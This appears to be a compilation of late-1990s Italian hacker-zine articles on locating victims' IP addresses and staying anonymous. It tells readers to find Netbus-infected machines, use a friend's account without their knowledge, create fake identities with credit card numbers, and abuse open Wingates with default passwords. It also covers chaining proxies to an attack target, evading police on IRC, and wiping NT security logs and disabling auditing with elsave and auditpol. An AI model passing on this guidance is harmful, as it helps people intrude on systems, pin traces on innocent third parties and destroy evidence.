Altro modo (per hackers esperti) è quello di utilizzare programmi per la gestione avanzata degli indirizzi IP come Netlab il quale riesce ad individuare anche la lista degli utenti collegati ad un provider. Non basta, con questo programma un hackers può dirvi anche il vostro indirizzo di casa. Altri programmi per intercettare una persona sono forniti gratuitamente con Windows 95 o superiore e sono TRACERT e NETSTAT (Si lanciano da Start - Esegui...). Esistono comunque molti altri metodi che sfruttano bug (errori) di sistema dei server, bug dei firewall o programmi specifici, esiste un sito che vi spiega come fare.

Tips & Tricks

Tramite il vostro indirizzo IP chiunque può sapere con quale provider vi collegate e addirittura la posizione geografica del server con cui siete collegati in quel momento; un programma in grado di fare ciò è Visual route. Se un hacker vuole colpire un utente del suo stesso provider basta che si colleghi ad internet più volte e ad ogni connessione lanci il programma fornito con Windows 95/98 chiamato Winipcfg.exe, il quale fornirà lindirizzo IP del suo computer; l'hacker a questo punto si segnerà i campi fissi assegnati dal server, in genere sono i primi tre (o i primi due se il provider è molto grande), in questo modo gli basterà fare una scansione dei vari indirizzi inserendo consecutivamente i campi non fissi fino a trovare un computer infettato (Netbus fa la scansione automatica inserendogli la gamma di indirizzi da scandire).

Conclusioni

Non ho reso disponibili i programmi che ho citato al fine di scoraggiarvi nel compiere azioni dannose nei confronti di un qualsiasi innocuo pesciolino che nuota ignaro degli squali che ci sono nel mare di internet.

Trovare l'indirizzo IP di un computer connesso ad Internet

I metodi per ottenere il vostro indirizzo IP sono molti, i più comuni sono due:

> Tramite un programma per chattare (ad esempio con IRC), qunado inviate una immagine, un programma o qualunque file rendete visibile il vosto indirizzo IP direttamente dal programma per chattare. Ad esempio con IRC basta cliccare con il bottone destro del mouse sul nome della persona a cui si vogliono fare le cattiverie ed andare sulla voce get URL e sara fornito l'IP

di quella persona (il formato degli indirizzi IP è xxx.xxx.xxx.xxx dove ogni xxx è un numero compreso tra 0 e 255. Con ICQ saper il vostro IP è facile basta vedere su MORE INFORMATION di un utente, nel caso abbiate occultato il vostro IP esiste un programma ad hoc per ICQ detto **ICQ IP SNIFFER** che mostra comunque il vostro indirizzo IP, altro programma che mostra l'IP di un utente connesso ad ICQ è **SubSeven** il quale sfrutta anche il server del netbus 1,7.

Se un hacker vuole colpire un utente del suo stesso provider basta che si collega ad internet più volte e ad ogni connessione lancia il programma fornito con Windows 95/98 chiamato *Winipcfg.exe*, il quale fornirà lindirizzo IP del computer dell'hacker connesso ad internet, l'hacker a questo punto si segana i campi fissi che assegna il server, in genere sono i primi tre (o i primi due se il provider è molto grande) in questo modo gli basta fare una scansione dei vari indirizzi inserendo consecutivamente i campi non fissi fino a trovare un computer infettato (il Netbus fa la scansione automatica inserendogli la gamma di indirizzi da scandire).

Altro modo per ottenere l'IP è creando un sito un po' malvagio che cattura i vostri dati; in genere catturare i vostri dati serve solo per le statistiche dei visitatori, un esempio di ciò è nella pagina di benvenuto del mio sito dove i vostri dati vengono trattati solo a scopo informativo, per vedere le satistiche clicca sull'icona dell'elenco dettagliato dei collegamenti (se attendi che si carica l'icona quando ci cliccherai sopra potrai vedere anche il tuo indirizzo IP).

Alcune volte gli hackers vedono gli indirizzi IP degli utenti collegati ad un provider e vedono quali campi degli indirizzi IP sono univoci per tutte le persone collegate ad un certo provider (ad esempio IOL ha come campi univoci 212.52.6x.xxx 212.52.7x.xxx, oppure TIN 212.216.xxx.xxx, si possono riconoscere facilmente cliccando sull'icona descritto al punto precedente); in questo modo se l'hacker conosce con quale provider vi collegatedovrà fare una scansione di pochi indirizzi IP per ritrovarvi (Netbus fa la scansione automatica degli indirizzi IP), si deve fare una scansione ogni volta che il computer infetto si ricollega ad internet in quanto ad ogni connessione ad internet al computer infetto viene fornito un indirizzo IP diverso.

Altro modo (per hackers esperti) è quello di utilizzare programmi per la gestione avanzata degli indirizzi IP come **Netlab** il quale riesce ad individuare anche la lista degli utenti collegati ad un provider, non basta, con questo programma un hackers può dirvi anche il vostro indirizzo di casa.

Altri programmi per intercettare una persona sono forniti gratuitamente con il Dos (e quindi anche con il Windows) e sono tracert e netstat.

Esistono comunque molti altri metodiche sfruttano bug (errori) di sistema dei server, bug dei firewall o programmi specifici, esiste un sito che vi spiega come fare.
Tramite il vostro indirizzo IP chiunque può sapere con quale provider vi collegate e addirittura la posizione geografica del server con cui siete collegati ad internet in quel momento, un programma in grado di fare ciò è **Visual route**.

Guida per rimanere anonimi

di Lord Hawk

Allora, comincerei nel dire che rimanere anonimi in internet è una cosa fondamentale!!!

Non ho voglia di elencarvi tutti i vari motivi per cui dovete rimanere anonimi!

Il metodo più semplice per rimanere anonimi è quello di utilizzare una connessione di un amico o un nemico....

Logicamente è !!meglio!! che il vostro "amico" sia allo scuro di tutto. In questo modo il provider crederà che il signor XXX (l'amico nemico) sia collegato ad internet ma non saprà mai che ci sei tu dietro a quella identità! In questo modo tutte le azioni che farai lasceranno sì delle tracce ma non le tue!!!!!

Ci sono, però, anche dei rischi nel "nascondersi" in questo modo.

Il provider che fornisce l'accesso a internet, si potrebbe accorgere che due persone sono collegate nello stesso momento (tutto ciò si può verificare se entri nello stesso momento di XXX)! In questo caso il provider potrebbe cambiare la password di XXX e controllare ogni tua mossa!

Quindi è consigliabile entrare con il login dell'amico solo durante ore improbabili. Per esempio la mattina presto o di notte...l'importante è che non sia un orario che coincida con XXX!!!

Un consiglio: cerca di sceglierti un "amico" spilorcio che si colleghi poco ad internet!

Un altro metodo è quello di crearsi una identità falsa attraverso i provider! In questo modo potrai navigare sotto il nome di "gigi" invece che il tuo vero nome. Ci sono dei programmi che ti creano una Id completa in tutti i minimi particolari, compreso n° di carta di credito e codice fiscale.

E' importante anche oscurare il tuo Ip, per esempio utilizzando "wingate" (che puoi trovare in http://theskulls.tsx.org) o programmi simili!

Quando ti crei una Id cerca di trovare un nick originale (cioè se ti chiami Gianni, non metterti come nick Gianni o cose simili) e sceglierti una password che solo tu puoi sapere! E' inutile scegliersi come nick "Sheva" e mettersi come password "milan" perché altrimenti sei fottuto!

E' importante anche che tu non riveli a nessuno l'identità che utilizzi in internet!!!

Inoltre cerca di mandare solo messaggi criptati via e-mail, per esempio utilizzando top secret per scrivere in codice il messaggio e utilizzare Anony Mail per inviare i messaggi! (tutto questo lo trovi nella mia Home Page)

Anche se hai creato una identità falsa è importante non tralasciare degli indizi che potrebbero fregarti nel futuro! Se qualcuno ti contatta in chat, evita di rivelare troppi particolari di te: per esempio che macchina hai, il tuo aspetto fisico, il tuo NOME (sei un deficiente se credevi di poterlo fare), i tuoi hobby ecc...

A queste domande potrai rispondere ma logicamente dicendo il falso!!!

Inoltre evita di tenere i tuoi dati personali, le tue password ecc... nel tuo Hard Disk, perché il computer sembra il luogo ideale per contenere database ma è anche il luogo più insicuro!!! Eventuali attacchi virtuali (tramite netbus e simili...) ti potrebbero recare danni e potrebbero fare il giochino del signor XXX con te!!! Questo non sarebbe molto simpatico!!! I tuoi dati ecc... è più sicuro metterli in Cd o Floppy, ma anche lì non siamo al 100% di sicurezza.

Il posto ideale per tenere i tuoi database è il CERVELLO!!! Questo poco ma sicuro!!!

Se non hai cervello (cioè sei un deficiente) cerca almeno di mettere un minimo di protezione al tuo Hard Disk. Per esempio metti una password al Bios o una password a Windows (ma sappi che non è difficilissimo farti saltare tutte le protezioni!)

Inoltre quando elimini file un po' compromettenti, utilizza un programma come Kremlin che consente di cancellare definitivamente dei file...non come la pattumiera (il cestino) di Windows!

Credo di aver detto tutte quelle cose fondamentali per rimanere anonimi nella grande rete!

E ricorda: "SCHEDATI SI NASCE...ANONIMI SI DIVENTA" by Harry Caul.

ANONIMATO IN RETE

Prima di effettuare qualsiasi operazione e'necessario sapere come nascondersi
nella Rete. Questo non garantira' l'anonimato completo, ma rendera' piu'
difficile il compito di chi deve trovarci.
In questo articolo, esplicitamente rivolto ai newbbissimi, prenderemo in
considerazione tutti i passaggi di una connessione Internet, dalla chiamata
telefonica ai diversi "rimbalzi" sugli host della rete.
Prima di effettuare qualsiasi tipo di "esperimento" consiglio di leggere
completamente il documento, compresa la sezione "Pericoli".

0x00.1 CLI & BIC

Dove CLI sta per "Caller Line Identification" e BIC per "Blocco identificazione
chiamante". Chiaramente stiamo parlando del collegamento telefonico. Il primo
passo verso Internet e' la connessione dial-up con l'ISP (Internet Service Provider)
Da alcuni mesi e' disponibile anche in Italia il CLI, ovvero l'invio del numero
del chiamante; questo significa che chi riceve la vostra chiamata e' in grado
di vedere in tempo reale il numero del chiamante.
Per evitare che questo avvenga, e' disponibile il "Blocco identificazione chiamente",
che disabilita (parzialmente) questa possibilita'.
Mettendo il numero 1793 (o *67#) davanti al numero da chiamare, si inibisce
la possibilita' di visualizzare il nostro numero sul display del ricevente,
ma non l'invio dello stesso alla centrale Telecom; questo significa che
comunque sui tabulati della telco sara' registrata la telefonata dalla vostra
utenza all'ISP, quel giorno a quell'ora...

0x00.2 Account falsi

Scenario: voi state "hackerando" con l'account dell'abbonamento che vi hanno
regalato; vi siete registrati con il vostro nome (Mario Rossi) e vi siete
collegati al computer del Pentagono... il sysadmin si accorge di un ip strano
collegato al sistema (il vostro ip!), esegue un traceroute sul vostro ip,
prende nota del penultimo hop e si collega sulla porta 79 di quell'host
(il vostro gateway):
users online
----
mrossi@tin.it 212.216.200.123
Mezz'ora dopo l'FBI e' a casa vostra e suona il campanello...
Questa storiella ci insegna che non e' buona abitudine hackerare con l'abbonamento
che abbiamo registrato con il nostro nome e i nostri dati anagrafici.
Da quando sono nati i free-internet provider (Libero,Tiscali) la situazione e'
alquanto migliorata (non che prima fosse fosse molto piu' complicata...); si
possono creare fake-account a volonta', utilizzando un generatore di
identita'(tipo quello di Cavallo de Cavallis).
Naturalmente per effettuare l'abbonamento on-line, si dovranno rispettare alcune
regole auree: una l'abbiamo gia' vista, ovvero la "disabilitazione" del CLI
mettendo il numero 1793 prima del numero da chiamare, l'utilizzo di proxy.

0x00.3 Proxy

Uno dei problemi principali del newbie e del wannabe e' come nascondere o
cambiare il proprio ip durante la navigazione o per entrare in IRC.
I browser (Explorer, Netscape) prevedono l'uso di "proxy", ovvero computer che
si frappongono tra noi e il resto della rete; quando cerchiamo di recuperare
una pagina sul web, il nostro browser contattera' il proxy, e sara' quindi
quest'ultimo a "prelevare" il documento html e a inviarlo a noi; vantaggio di
questa operazione e' che l'ip loggato dal server di destinazione (dove
abbiamo prelevato la pagina) sara' quello del proxy e non il nostro.
Attenzione pero': non tutti i proxy sono anonimi. Questo significa che in alcuni
casi il proxy lascia "filtrare" il nostro ip reale che restera' nei log del
server. Prima di usare un proxy, ci si doverebbe sempre assicurare che si tratta
di un proxy anonimo che non rivela il nostro ip. Questo testo puo' essere
effettuato collegandosi a http://www.anonymizer.com/snoop.cgi, una pagina
che fa un test sul grado di anonimato del nostro sistema.
Comunque anche utilizzando un proxy anonimo non vi dovete sentire sicuri, anzi.
Sarebbe opportuno concatenare due o piu' proxy prima di collegarsi al vero
obbiettivo. Come ? Innanzitutto questa tecnica funziona solo con alcuni tipi
di proxy, i Delegate; quando avete trovato alcuni Delegate, dovete mettere
nella barra del browser la seguente stringa:
http://proxy1.url:port/-_-http://proxy2.url:port/-_-
dove proxy1,proxy2 e proxy3 sono gli indirizzi dei proxy Delegate che avete trovato.
Ricordate: piu' proxy mettete, piu' diminuiscono le probabilita' di essere
rintracciati, ma aumenta anche il tempo di latenza, rallentando la
navigazione.
Ma anche i proxy loggano...

0x00.4 Socks

Nelle reti protette da firewall gli host interni entrano in Internet attraverso
un servizio speciale: Socks.
Questo protocollo la cui porta di default e' la 1080, permette alle applicazioni
che lo supportano di collegarsi a Internet in modo indiretto, con il firewall
che fa da tramite. Il principio e' lo stesso del proxy per http, ma il range
di applicazioni e' piu' vasto. In pratica ogni applicazione che supporta Socks,
puo' collegarsi a Internet tramite Socks. Il vantaggio e' come al solito che
l'ip che appare non e' piu' il nostro ip reale, ma quello del firewall; inoltre
nuke & DoS vari del lamer di turno saranno diretti al firewall, lasciando
del tutto indifferente la nostra macchina!
L'utilizzo dei Socks e' classico nel mondo di IRC, ma puo' essere utilizzato
anche con altre applicazioni; Volete proprio usare il Netbus? Ok, ma almeno
non fatevi beccare subito con il vostro ip vero... usate un Socks. Volete
fare del port-surfing manuale con il Telnet? Usate Socks...
Certo, non tutti i programmi prevedono l'uso di Socks (per esempio, il Telnet di
serie di Windows non lo supporta), ma grazie a un programma tipo SocksCap si
puo' fare in modo che TUTTI i programmi di rete (compreso il Telnet standard di
Windows) possano collegarsi in modo "anonimo". In questo modo e' possibile
anche inviare email tramite Outlook o Eudora senza la paura di esporre il
nostro ip reale, ma quello per esempio di un computer del governo di Taiwan...

0x00.5 Wingate

Wingate e' un porgramma per Windows che permette di collgare piu' macchine
tramite una sola connesisone Internet, tramite le funzioni di proxy http,
Socks, proxy ftp, telnet...
In Internet si trovano molti Wingate mal configurati che permettono l'accesso
anche a utenti non autorizzati (noi!). Il meccanismo e' quello visto il precedenza
per i proxy e i Socks (ovvero l'ip che viene lasciato in giro e'quello del
Wingate e non il nostro), ma ha una modalita' di utilizzo diversa.
Lanciate il Telnet e collegatevi alla porta 23 del Wingate, se tutto e' Ok
avrete un prompt del genere:
Wingate>
a questo punto mettete l'indirizzo dell'host al quale vi volete collegare, segutio
dal numero di porta:
Wingate>bill.whitehouse.gov 23 (Naturalmente sto scherzando: lasciate stare i
.gov...)
a questo punto il vostro ip e' al sicuro (relativamente, come sempre).
Anche nel caso dei Wingate e' buona norma concatenare piu' Wingate tra di
loro, cosi:
quando avete il prompt del Wingate (Wingate>) inserite l'indirizzo di un altro
Wingate,e poi un altro... infine l'indirizzo dell'host da attaccare.
Certo aumenta il lag, ma e' sempre meglio che andare in galera...

0x00.6 Trovare Proxy, Socks & Wingate

Altro problema annoso del novello "hacker": dove li trovo i proxy & i Wingate ?
Esistono diversi modi per procurarsi questi indirizzi. Il piu' immediato
(e il meno redditizio) e' quello di andare su uno di quei siti che pubblicano
liste di proxy e socks (proxy4all.cgi.net, la sezione apposita in
www.cyberarmy.com e altri...). Il problema e' che questi proxy durano pochissimo
o non funzionano affatto... Conviene arrangiarsi in altro modo.
Procuriamoci uno scanner e lanciamolo in giro x la rete, prima o poi qualcosa
troviamo.

Per informazione, le porte su cui trovare qualcosa sono le seguenti:
8080 proxy http
3128 proxy http
81 proxy http
1080 Socks

Un altro modo efficace x trovare Socks e' quello di entrare in IRC e dare il
comando
/stats k
per avere la lista dei k-line, ovvero la lista di host "bannati". Molti host
della lista saranno Socks bannati da quel server ma perfettamente funzionanti
x altri scopi!

Siete pigri e non avete voglia di cercare? Aspettate che i Socks vengano a voi!
Lanciate il Nukenabber e navigate tranquillamente (oppure andate su un canale
molto frequentato in IRC); Alla fine della serata date uno sguardo al log del
Nukenabber: tra i vari tentativi di lamer con BO & Netbus, forse ci sara' anche
qualche indirizzo di Socks utilizzabile...

Altre tecniche potete trovarle nel mio articolo "Gabole nella Rete", reperibile
sul mio sito e sul numero 0 di "Lightz".

0x00.7 Pericoli

Per iniziare bisogna dire che NESSUNA tecnica qui esposta garantisce l'anonimato
assoluto, esiste sempre un margine di pericolo.
Dal momento della connessione dial-up con il provider alla connessione tramite
TCP/IP in Internet, lasciamo un mare di tracce ovunque.
La compagnia telefonica ha sempre e comunque il nostro vero numero, anche se
usiamo il BIC. I vari proxy che usiamo molto probabilmente (anzi, sicuramente)
loggano tutto il traffico, cosi'come i Socks: forse c'e' qualche speranza con
i Wingate. Assolutamente da evitare gli host "boservizzati" o cmq "trojanizzati".
Forse il metodo piu' sicuro e' quello di essere root su di un sistema e avere la
la possibilita' di "ripulire" per bene i log.
Da non dimenticare poi la possibilita' di mettere nei guai gli ignari possessori
di host compromessi (ancora una volta: trojan e backdoor varie) o i responsabili
dei sistemi che usiamo per "rimbalzare" (Wingate, proxy...).

SERVER PROXY

Cos'è un server proxy ?

Un server proxy è un server che qualcuno (a volte l'internet provider, a volte un amico) ha settato in modo che quando tu ti colleghi a un sito il proxy ti fà fare una deviazione e prima di arrivare al sito passi attraverso il proxy e poi dal proxy vai al sito.
Così se qualcuno vuole visitare il sito che hai visitato tu e usa il tuo stesso proxy non visiterà il sito, ma riceverà il contenuto dal sito dal proxy.
Spesso qualcuno (in genere l'amministratore) setta il server proxy [scusate le ripetizioni, però..] in modo che ogni tot di tempo le pagine web contenute nel proxy vengano aggiornate.
Ogni volta che viene visitato un nuovo sito questo viene salvato sul proxy.
A volte può capitare che sia una persona a determinare quando un sito contenuto sul proxy và aggiornato. Infatti se un utente crede che il sito abbia bisogno di un update e ha bisogno di essere aggiornato il contenuto sul proxy basta che questo utente clicchi su "Refresh" o "Reload" [nelle versioni italiane "Aggiorna"] sul suo browser e il sito verrà aggiornato sul proxy.

Perchè usare un server proxy ?

Ci sono diversi motivi. Molti internet provider lo usano perchè "taglia" il volume del traffico sui loro network e fanno viaggiare più veloci i loro utenti.
Gli utenti lo amano perchè li aiuta a rendere più difficilmente rintracciabili le loro tracce sul web.
Questo in particolare se gli utenti usano più proxy, anche 3, contemporaneamente. Sarà difficile trovare 3 server che loggano ogni attività.
Altri utenti lo amano perchè la loro connessione è resa più veloce, specialmente se visitano server di altri continenti.
NOTA: E' una buona cosa cercare in giro i proxy tramite cui collegarsi. Se usate un proxy della Microsoft (M$) infatti è probabile che ogni vostra attività verrà loggata
Se è anonimo oppure è un proxy chiamato di "uso pubblico", usalo pure.

Cos'è un Wingate ?

UNA definizione officiale che ho sentito dire da numerose persone è:

"Un Wingate è un server proxy firewall software che permettere di condividere una singola connessione a internet con altri computer del network. [ad esempio i Netcafè, dove più computer sono connessi tramite un singolo abbonamento internet].
Una connessione internet condivisa da un wingate può essere di vari tipi, inclusi dial up modem, ISDN, xDSL (l'autore voleva forse dire ADSL ?), modem cablati, connessioni satellitari, o tutti i circuiti dedicati T1."
Un wingate quindi è simile a un server proxy. Connette diversi computer attraverso la porta 23 di un computer, che sarà chiamato wingate. In pratica è semplicemente una connession di telnet.
I wingate dovrebbero essere usati per avere accesso alla rete interna o per essere collegati tramite di essi a un sito.
Spesso i wingate sono settati male a causa delle lacune degli amministratori e ci sono un sacco di wingate che permettono a chiunque di collegarsi tramite essi a internet, aprendo una strada a l'ip spoof su ICQ o su IRC per fare abusi di qualunque tipo.
Questi wingate configurati male sono chiamati "Open Wingate" e in genere restano attivi da un paio di giorni fino a parecchio mesi, fino a quando l'amministratore si accorge dell'uso che viene fatto del wingate o fino a quando qualcuno lo usa per scopi illegali.

L'unico benificio che un amministratore ha dall'abilitare un wingate è quello di poter usare un singolo abbonamento internet per collegare in rete più computer. Ma i problemi che possono sorgere dall'installazione di un wingate sono maggiori dei benifici. Se qualcuno sta per settare su un suo computer un wingate consiglio prima di sapere esattamente ciò che si sta facendo ed essere sicuri di come configurare in modo sicuro il wingate. Un software per rendere il proprio wingate sicuro è SyGate.

Dalla mia esperienza come amministratore di sistema e utente remoto possono dirvi che i log di molti wingate vengono cancellati ogni 48 ore.
E molte aziende e internet provider non loggano tutto quello che succede sui loro wingate..

Come trovo un wingate ?

Bella domanda. Il miglior modo è ascoltare la voce del popolo [ascoltate insomma i discorsi su irc e troverete qualcosa]. Se questo metodo di ricerca fallisce, il secondo miglior modo è quello di usare uno scanner di wingate.
Potete scannare numerose sottoreti alla ricerca di wingate. Una nota: i network nei paesi del terzo mondo, nell'estremo oriente, in Africa, ecc.. hanno una cosa in comune: hanno wingate configurati malissimo e ci sono centinaia di "Open Wingate" sulle loro reti.
Provate a fare scanning di queste reti e vedrete..
Per controllare che il wingate non abbia password collegatevi ad esso tramite telnet alla porta 23 e quando richiede user name & password non scrivete niente e se entrete nel wingate ne avrete trovato uno.
Se il wingate invece richiede delle password provate:
wingate (sia come ID che come password)
guest (sia come ID che come password).
e forse (FORSE) vi verrà dato l'acceso..
Il miglior scanner per Windows (32 bit) che ho usato è: wGateScan v2.2
Lo trovate su molti siti. Io l'ho trovato su http://www.hotmanscave.com/

Per usare wGateScan v2.2 tutto quello che avete da fare è inserire il range di ip (o l'hostname) da scansire. Lui si telnetterà alla porta 23 e spedirà un messaggio che dice "wingate" o qualcosa di simile. Se l'host accetterà il messaggio allora bingo ! Ne avete trovato !

Wingate con ICQ:

Per configurare ICQ in modo che lavori con un Wingate
[attenzione, il txt proponeva una procedura diversa, io riporto la procedura per ICQ 99A e (spero) successivi).

Per configurare Icq in modo che lavori con un wingate:

Wingates with ICQ:
Cliccare il tasto ICQ
Cliccare Preferences
Selezionare la voce "Connection"
Selezionare l'opzione "I'm using a permanent internet connection (LAN)"
Adesso selezionare la voce "I'm behind a firewall or a proxy"
Cliccare su Firewall Setting
Scegliere tra "I'm using a SOCKS4 server" e "I'm using a SOCKS5 server" (dipende dal wingate, provatele entrambe e guardate quale delle due funziona) e poi cliccate Next

Se avete selezionato SOCKS4: nella casella SOCKS4 Host scrivete l'ip del wingate e come porta lasciate pure la 1080 e sotto selezionate "Open an outgoing UDP port 4000 on my firewall".
Cliccate Next e poi cliccafe "Check my Firewall/Proxy setting"... Se avete configurato tutto per bene dovrebbe essere possibile selezionare il tasto Next e.. Avete configurato il vostro SOCKS4. Se non provate a cambiare la voce "Open an outgoing UDP port 4000 on my firewall" in "Use a mapped port on proxy" e completate la tabella sotto quella voce con l'indirizzo di un proxy e la porta su cui lavora (in genere 80)

Se avete selezionato SOCKS5: scrivete nelle relative caselle l'ip del wingate e come porta lasciate pure la 1080. In caso il wingate abbia bisogno di password selezionate anche la voce "Use RFC.......for SOCKS" e completate con Username e password.
Cliccate Next e poi cliccafe "Check my Firewall/Proxy setting"... Se avete configurato tutto per bene dovrebbe essere possibile selezionare il tasto Next e.. Avete configurato il vostro SOCKS5

Wingates con IRC:

Per configurare il vostro client IRC [per Win il più usato è mIRC (www.mirc.co.uk), per Linux è xchat] dovete semplicemente selezionare la voce "Firewall" (c'è in tutti client !!) dire se si tratta di un SOCKS4 o un SOCKS5 (come detto prima dipende dal wingate, se non và uno provate l'altro) e inserite l'ip del wingate. Se servono delle password compilate i relativi spazi bianchi e via..
Dato che ci sono decine di client IRC sarebbe troppo lungo spiegare la procedura di ognuno, quindi ho messo un percorso generale che dovrebbe valere per tutti.

Bottom Line [modo di dire che mi pare significa "Considerazioni Finali"]

Socks/Wingate and Proxy posso aiutarti a rendere la tua identità più difficile da trovare e loggare in internet, spesso lo fanno in maniera completamente legale. Ma non pensate mai "Non risaliranno mai a me" anche se passate per numerosi proxy, wingate o sock.
Ricordate che chiunque può risalire all'ip originale e al proprio Internet provider.

COME DIFENDERSI DALLA POLIZIA TELEMATICA

E' realmente possibile incrociare sbirri telematici
durante le proprie orde su IRC o su spazi WWW o ...insomma è realmente
presente la polizia telematica?? Questo è poco ma sicuro... infatti la
polizia telematica, ed in particolare quella italiana, più che presente
oserei dire che è onnipresente sulla rete... o meglio "on the net", questo
putroppo non è stato un ingresso graduale e ragionato, ma per lo
più una vera e propria presa di posizione in seguito ai numerosi casi di
pedofilia via internet accaduti in Italia negli ultimi 2 anni.
Questo ancora una volta mostra la stupidità ed ignoranza dello Stato nei
confronti delle ultime tecnologie (leggi... internet).
Se siete dei malati di IRC avrete sicuramente parlato, a vostra insaputa,
con una poco probabile Manuela o Monica, ed un certo "sbirro". Proprio così
spesso e volentieri per attaccare bottone con presunti hackers e quindi così
come la vedono loro sicuri truffatori telematici, camuffano i loro nicknames
con quelli di dolci venere o simili. Altrimenti se mantengono nicknames
maschili si fanno passare per dei principianti in cerca di ganci o cagate
simili. Quindi una prima buona regola da adottare potrebbe essere quella di
crearvi un account di posta via WWW tipo hotmail o bigfoot con un forward
alla vostra vera casella di posta, così da poter tranquillamente mollare ai
vostri "conoscenti" un indirizzo di posta non personale. Vediamo meglio con
un esempio pratico cosa intendo dire: Supponiamo che stai chattando su
#hacktheworld, d'improvviso ti appare una richiesta di chat privato da parte
di un certo X-Wolf (ndr. minchia che fantasia), penserai: "che culo... su un
canale internazionale un italiano, mò gli chiedo un pò di cosine".
Così comincia la chiacchierata, lui ti dice che è un gran bastardo, ti
propone un innocente scambio di shells, ti dice che ha dei numeri di carte di
credito e che ne vuole ancora, che compra / vende CD masterizzati e cazzate
simili... insomma ti sembra un buon gancio, allora che fai?? gli lasci la tua
mail: 61fesso@tin.it, lui ti lascia la sua: 1furbo@usa.net.
Passano un paio di settimane (ndr. anche meno)... nel frattempo avete iniziato
una secca corrispondenza dove tu ti vanti dei servers bucati e spari a nastro
sul fatto che hai un amico col masterizztore che vende CD a prezzi stracciati,
etc... una sera lo ribecchi sul canale... "finalmente posso parlarci in
diretta"... ALT!! dal momento che gli hai lasciato la mail nel giro di
qualche ora sanno tutto di te, come ti chiami, dove studi o lavori, dove
abiti, il tuo conto bancario... insomma ti hanno fotografato.
Dopo circa 24h. se vedono che sembri essere un "bastardo" e credono a quello
che hai scritto nelle tue mails decidono di farti pedinare e richiedono
maggiori informazioni anche a livello strettamente personale. Dal momento in
cui lo rivedi su IRC loro sanno già tutto su di te... mentre tu probabilmente
non sai un cazzo di lui... anche xchè non ti 6 messo a controllare la sua
mail o il suo IP... anche se devo dire che in questo sono molto attenti e
furbi. Tu ignaro di tutto continui a tirartela, gli passi info...
lui pure xchè no?? e allora?? come va a finire??
Supponiamo che della metà delle cose che hai scritto solo una parte è vera...
che non hai sfondato nessun server, ma le shells te le ha date un amico, che

non hai un amico che masterizza "in piazza" ma lo fa solo a livello amatoriale, etc... forse forse se constatano tutto ciò ti mollano senza troppi indugi, mentre se hanno anche solo il minimo sospetto che puoi essere il collegamento ad un "pesce grosso"... bhe... nelle migliori delle ipotesi tutto inizia con una semplice convocazione presso la questura... nelle peggiori ti svegliano alle 5.00 di mattina e ti sequestrano tutto!! Magari 6 un piccolo moccioso bastardo che vuole fare il Kevin Mitnik della situazione ma loro o non l'hanno capito oppure non gliene frega un cazzo... e quindi ti martellano fin quando gli pare e piace. Con ciò ci tengo a sottolineare che anche se non si fa nulla di male... è sempre meglio tenerli a bada certi spaccameloni!! Allora xchè non crearsi dei fake account, mail, etc... in modo da depistare o per lo meno limitare le ipotesi di essere identificati ??
Io x esempio navigo solo attraverso proxy anonimi (www.anonymizer.com anche se c'è ne sono di più veloci) ed uso un programmino stupido x cambiare in modo random e del tutto fantasioso i miei cookies, le mie mails fanno dei giri spaventosi, vengono girate a destra e manca, e prima di raggiungere il server POP vero e proprio capita che passano da 6 o 7 remailer... anonimi e non, mentre su IRC o mi appoggio a proxy socks anonimi, oppure non mi lancio in dichiarazioni alla Raoul Chiesa, infine controllo sempre con chi ho a che fare, il più delle volte ottengo nome, cognome e telefono dei miei interlocutori... insomma la prudenza non è mai abbastanza. Certo che non faccio nulla di male, ma vaglielo a spiegare a certi ignoranti bastardi che ti registri le shareware xchè le nags ti mandano in bestia e non lo fai x rivenderle... o che il CD masterizzato ti serve x tenere tutto su di un unico supporto piuttosto che 200 dischetti e 3 ZIP, solo x comodità... vaglielo a spiegare!!

Ricapitolando:
1) crearsi una struttura di remailing, x esempio il mio vero indirizzo di posta è skilled@mbox.xcom.it, bene... di certo non lascio questo in giro... mi creo un account fasullo su Lycos che forwarda le mails sul mio indirizzo reale. Poi ne creo un altro fasullo su Yahoo, che forwarda il tutto a quello di Lycos. Poi ne creo ancora un altro su Hotmail che forwarda il tutto a quello di Yahoo. Non ancora contento lo faccio passare ancora su Usa.net... insomma alla fine le vostre mail faranno un giro pauroso, certo arriveranno con un pò di ritardo, ma arrivano... questo è poco ma sicuro. Questo per le mails in entrata, mentre per quelle in uscita basta semplicemente appoggiarsi ad un server SMPT anonimo... basta cercarne uno da Altavista, oppure date un'occhiata all'elenco proposto da Anonymizer, ovviamente di tipo II, quindi MixMaster e compagnia.
2) quando navighi apoggiati a dei servers proxy anonimi, tanto x citarne qualcuno Proxy4All (l'url non me lo ricordo, comunque il buon Altavista è in grado di trovarlo).
3) Non spacciarti troppo su IRC, rircordati in ogni caso di cucirti la bocca e sviare il discorso se un interlocutore che non conosci o conosci da poco ti propone/chiede CD masterizzati, carte di credito, generatori di numeri di carte di credito, shells che ti sei procurato diciamo in modo non regolamentare. Ah quasi dimenticavo... se ti parla

di foto di bambini/e allora hai a che fare con un bastardo rottoinculo
di pedofilo, mandami una mail che ci penso io a dargli una bella lezione!

Comunque detto ciò, dopo un'attenta riflessione e dall'alto dell'esperienza
che mi logora il posto dove i pulotti preferiscono sostare è sicuramente IRC,
quindi meditate gente... meditate.
ciao da Skilled... buon anno a tutti i pulotti di #cybernet ;-)

COME OCCULTARSI IN WIN NT

Tratterò due argomenti I LOG e CELARE DEI FILEZ.

< LOG >

Allora i sitemi di "log" su NT posso essere vari ecco i + conosciuti :
-EVENT LOG
-AUDIT

NT crea il suo bel file di log sotto %systemRoot%\system32\config.
I files hanno estensione evt (SecEvent,AppEvent,SysEvent).

EVENT LOG
Un possibile modo di "fare le pulizie" è utilizzando l'Event Viewer, ma NON FATE "CAZZATE" ,perchè se lo modificate comparira nel event log che è avvenuta una modifica... quindi e come dire : "ehi sei stato hackkato"

Qui ci vengono in aiuto altri programmi come elsave che permette (se si hanno le giuste autorizzazioni) di ripulire tranquillamente il Security log.

elsave : www.ibt.ku.dk/jesper/ (sotto la sezione NT tools)

AUDIT
Da qui si capisci che tipo si sysadm si ha di fronte se capisce qualkosa l'auditing sarà attivato se invece pensa : "a che mi serve, mi rallenta solo il sistema" potete intuire il suo quoziente intellettivo.....
Questo registra (in base a come è impostato) delle nostre azioni, è this isn't good. :)) con auditpol (viene dal Resource kit) è possibile disattivarlo e riattivarlo dopo avere finito, con le impostazioni precedenti (non bisogna saperle ci pensa auditpol a conservarle.

i comandi sono X:\>auditpol /disable
e per riattivarle /enable

< NASCONDERE I FILE >

